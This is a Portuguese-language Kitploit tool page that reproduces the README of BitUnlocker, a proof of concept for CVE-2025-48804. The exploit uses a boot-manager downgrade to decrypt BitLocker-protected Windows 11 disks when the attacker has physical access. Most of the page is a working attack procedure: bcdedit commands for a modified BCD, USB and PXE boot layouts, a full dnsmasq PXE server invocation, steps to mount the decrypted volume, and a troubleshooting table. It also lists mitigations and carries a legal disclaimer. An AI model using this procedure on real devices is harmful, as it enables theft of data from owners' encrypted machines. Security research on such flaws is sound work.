Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
BitUnlocker — Ataque de downgrade para CVE-2025-48804 | Kitploit
Ferramentas/GitHubGitHub/garatc/bitunlocker
Análise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoSegurança de HardwareRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Ataque de downgrade para CVE-2025-48804

Ver Repositório
22344há 9 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ataque de Downgrade BitUnlocker

License: MIT

Uma prova de conceito para acessar discos criptografados com BitLocker em menos de 5 minutos em máquinas Windows 11 totalmente atualizadas, através de um ataque de downgrade do gerenciador de inicialização, aproveitando a vulnerabilidade SDI originalmente documentada como CVE-2025-48804. O patch de julho de 2025 corrige isso em bootmgfw.efi, portanto, qualquer bootmgfw.efi anterior ao patch, assinado sob PCA 2011, pode ser usado para um ataque de downgrade, desde que o sistema alvo confie nesta PCA.

Esta PoC fornece dois métodos de entrega: inicialização USB (mais simples e recomendada) e inicialização PXE. Mas, teoricamente, você também poderia simplesmente copiar um arquivo de inicialização SDI para uma das partições padrão não criptografadas (ESP e Recuperação) e não se preocupar com USB ou PXE - veja a tabela "Casos especiais".

Este trabalho baseia-se inteiramente na pesquisa da Microsoft STORM (Netanel Ben Simon e Alon Leviev):

BitUnlocker: Aproveitando a Recuperação do Windows para Extrair Segredos do BitLocker


Pré-requisitos

  • Acesso físico a um dispositivo criptografado com BitLocker (somente TPM, PCR 7 + 11)
  • O banco de dados Secure Boot do dispositivo ainda confia no certificado Microsoft Windows PCA 2011
  • Um pendrive USB (recomendado) ou uma máquina Linux com dnsmasq e um cabo Ethernet para PXE

Passo a passo

1. Baixar boot_patched.sdi dos Releases (ou construir seu próprio arquivo SDI, veja abaixo)

Coloque-o em USB/sdi/ (para método USB) ou TFTP-root/sdi/ (para método PXE).

2. Preparar o BCD modificado

No dispositivo alvo, abra um prompt de comando do WinRE (segure Shift enquanto clica em Reiniciar, depois Solucionar problemas > Prompt de Comando — clique em "Ignorar este disco" quando solicitado a chave de recuperação do BitLocker e clique em "reiniciar" se também for informado que o prompt de comando não pode ser executado em um dispositivo bloqueado — e se o prompt de comando simplesmente não abrir, use seu próprio WinPE, se possível). Conecte um pendrive USB e execute:

root@kitploit:~
E: (ou onde estiver seu USB)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

Na saída, encontre a entrada de opções de dispositivo cuja descrição seja "Windows Recovery" e que contenha entradas ramdisksdidevice / ramdisksdipath. Anote seu GUID, então:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Coloque o arquivo BCD resultante no local apropriado dependendo do seu método:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Inicializar o alvo

Opção A: Inicialização USB (recomendada)

Formate um pendrive USB como FAT32 e copie o conteúdo do diretório USB/ para sua raiz (apenas seu conteúdo, não deve haver uma pasta "USB"). O pendrive USB deve ficar assim:

root@kitploit:~
Raiz do pendrive USB/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Gerenciador de inicialização anterior ao patch (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Seu BCD modificado
└── sdi/
    └── boot_patched.sdi        # SDI corrigido com WinRE personalizado

Conecte o pendrive USB ao alvo e acione uma inicialização UEFI USB — seja pelo WinRE (Usar um dispositivo) ou pressionando a tecla do menu de inicialização do fabricante ao ligar (F12, F9, etc.). Se o pendrive USB não aparecer na lista de opções de inicialização, procure por uma opção "Inicializar a partir de arquivo" no menu de inicialização UEFI, então navegue até EFI/Boot/bootx64.efi no pendrive USB.

Opção B: Inicialização PXE

O diretório TFTP-root/ está estruturado da seguinte forma:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Gerenciador de inicialização anterior ao patch (PCA 2011)
├── Boot/
│   └── BCD                     # Seu BCD modificado
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Mesmo gerenciador de inicialização anterior ao patch
└── sdi/
    └── boot_patched.sdi        # SDI corrigido com WinRE personalizado

Conecte o alvo à sua máquina Linux via Ethernet e inicie o servidor PXE:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<sua-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Acione a inicialização PXE no alvo — pelo WinRE selecione Usar um dispositivo > Rede IPv4, ou pressione a tecla de inicialização PXE do fabricante.

4. Aguardar a transferência do SDI

O gerenciador de inicialização carregará o BCD e, em seguida, começará a baixar boot_patched.sdi. O arquivo SDI é grande (~300 MB), então leva um momento via USB, ou vários minutos via TFTP. Uma mensagem relacionada à recuperação com o caminho SDI deve aparecer na tela do alvo enquanto ele carrega.

5. Aproveitar

Assim que a transferência for concluída, um prompt de comando deve aparecer com o volume do SO descriptografado e montado (tipicamente C: ou E:). Se não foi montado automaticamente ou você não quer adivinhar a letra, basta executar diskpart -> sel vol X (aquele que parece ser sua unidade criptografada) -> assign letter=C (ou outra letra) -> exit -> aproveitar

Casos especiais


Construir seu próprio arquivo SDI

Incluí dois scripts em scripts/:

  • patch_sdi.py — constrói um arquivo SDI modificado a partir de um boot.sdi e um arquivo WinRE.wim
  • parse_sdi.py — analisa um arquivo SDI para validar sua estrutura e conteúdo

O arquivo boot_patched.sdi fornecido nos Releases contém um WinRE.wim modificado onde o aplicativo de inicialização é cmd.exe.

Casos não exploráveis

  • TPM + PIN ou TPM + arquivo de chave está configurado e o invasor não o conhece
  • KB5025885 está instalado / o gerenciador de inicialização foi migrado para CA 2023 — máquinas recém-instaladas desde o início de 2026 provavelmente vêm com um bootmgfw.efi assinado por CA 2023 por padrão. Para verificar, monte a partição EFI e inspecione o binário ativo: mountvol S: /s então sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Observe que C:\Windows\Boot\EFI\bootmgfw.efi pode ser diferente do arquivo realmente usado na inicialização — sempre verifique a cópia da partição EFI.
  • Política de PCR não padrão — configurações envolvendo PCR 0, 2 ou 4 detectarão a mudança no caminho de inicialização
  • PCA 2011 revogada via DBX — se o certificado antigo foi explicitamente desconfiado

Mitigações

  • Ativar TPM + PIN — um PIN pré-inicialização impede que o TPM desvele o VMK sem interação do usuário, independentemente da manipulação do caminho de inicialização. Tenha em mente, no entanto, que isso não impediria um insider que conheça o PIN.
  • Migrar para Windows UEFI CA 2023 e aplicar KB5025885 para evitar ataques de downgrade completamente

Créditos

Microsoft STORM (Netanel Ben Simon e Alon Leviev) pela pesquisa original do BitUnlocker e divulgação da vulnerabilidade.


Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.

Aviso Legal

Este repositório e todo o seu conteúdo são fornecidos estritamente para testes de segurança autorizados e fins de pesquisa. Use esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano resultante do uso deste material.

Baixar ferramenta
SituaçãoO que acontece
BitLocker configurado com um PIN que você conheceTela azul na inicialização — digite o PIN às cegas (desculpe, não me preocupei com fontes do BitLocker neste repositório) e pressione Enter
Tela azul, sem PINO alvo provavelmente migrou para CA 2023 — pressione Escape e deixe a transferência SDI terminar de qualquer forma, mas a unidade criptografada com BitLocker provavelmente estará bloqueada no final
Somente USB-C / ThunderboltUse um drive USB-C ou adaptador USB-Ethernet (para PXE)
Arquivo TFTP não encontrado (exceto arquivos de fonte lixo que não nos importamos)Nomes de arquivos diferenciam maiúsculas de minúsculas — renomeie bootmgfw.efi para corresponder ao que o alvo solicita
Inicialização PXE ou USB não permitidaVerifique o tamanho disponível das partições ESP e Recovery (diskpart -> list vol). Se houver espaço suficiente para o arquivo Boot.sdi fornecido (cerca de 300 MB) em qualquer partição, coloque-o lá. Então, o exploit será ligeiramente diferente (mas ainda tão rápido) pois você precisará modificar diretamente o arquivo BCD do sistema alvo (faça um backup) para apontar para a partição do host não criptografada (entrada ramdisksdidevice do BCD em particular), e substituir o bootmgfw.efi do seu alvo pelo fornecido na pasta TFTP deste repositório. Neste caso, certifique-se de verificar se o gerenciador de inicialização do seu alvo está assinado pelo PCA 2011 (o exploit não funcionaria nesse caso de qualquer forma, sempre verifique isso), caso contrário você colocará o sistema na recuperação do BitLocker. Além disso, se não houver espaço suficiente para o arquivo Boot.sdi que forneci neste repositório, você pode tentar criar sua própria versão menor, definitivamente existem algumas maneiras de fazer isso (veja a seção "Construir seu próprio arquivo SDI" abaixo)